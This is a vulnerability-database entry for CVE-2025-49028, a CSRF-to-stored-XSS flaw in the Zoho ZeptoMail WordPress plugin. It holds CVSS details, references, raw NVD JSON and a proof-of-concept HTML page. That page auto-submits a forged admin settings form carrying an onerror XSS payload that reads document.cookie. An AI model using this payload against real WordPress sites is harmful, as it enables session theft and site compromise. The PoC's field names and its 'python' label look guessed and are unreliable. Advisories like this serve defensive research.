CVE-2025-49028

Description

Cross-Site Request Forgery (CSRF) vulnerability in Zoho Mail Zoho ZeptoMail transmail allows Stored XSS.This issue affects Zoho ZeptoMail: from n/a through <= 3.3.1.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Zoho ZeptoMail WordPress插件 <= 3.3.1

Zoho ZeptoMail WordPress插件（所有版本至3.3.1）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-49028: Zoho ZeptoMail Stored XSS -->
<html>
  <body>
    <h1>CVE-2025-49028 CSRF to Stored XSS PoC</h1>
    <p>诱骗已登录管理员提交恶意请求</p>
    
    <form action="http://target-wordpress-site/wp-admin/admin.php" method="POST" id="csrf-form">
      <input type="hidden" name="page" value="zeptomail_settings">
      <input type="hidden" name="action" value="save_settings">
      <!-- 恶意XSS载荷 -->
      <input type="hidden" name="mail_from_name" value="<img src=x onerror=alert(document.cookie)> ZeptoMail">
      <input type="hidden" name="submit" value="Save Changes">
    </form>
    
    <script>
      // 自动提交表单
      document.getElementById('csrf-form').submit();
    </script>
    
    <!-- 存储型XSS验证脚本 -->
    <script>
      // 模拟存储型XSS执行
      function simulateStoredXSS() {
        const payload = '<img src=x onerror=alert(document.cookie)>';
        console.log('Stored XSS payload injected:', payload);
        // 在实际攻击中，此载荷会存储在数据库中
        // 当其他用户访问相关页面时自动执行
      }
      simulateStoredXSS();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-49028
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-49028
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-49028/
[4] VulDB https://vuldb.com/cve/CVE-2025-49028
[5] https://patchstack.com/database/Wordpress/Plugin/transmail/vulnerability/wordpress-zoho-zeptomail-plugin-3-3-1-cross-site-request-forgery-csrf-to-stored-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-49028", "sourceIdentifier": "[email protected]", "published": "2025-12-31T09:15:50.830", "lastModified": "2026-04-23T15:31:11.400", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in Zoho Mail Zoho ZeptoMail transmail allows Stored XSS.This issue affects Zoho ZeptoMail: from n/a through <= 3.3.1."}, {"lang": "es", "value": "Vulnerabilidad de falsificación de petición en sitios cruzados (CSRF) en Zoho Mail Zoho ZeptoMail permite XSS almacenado. Este problema afecta a Zoho ZeptoMail: desde n/a hasta 3.3.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/transmail/vulnerability/wordpress-zoho-zeptomail-plugin-3-3-1-cross-site-request-forgery-csrf-to-stored-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}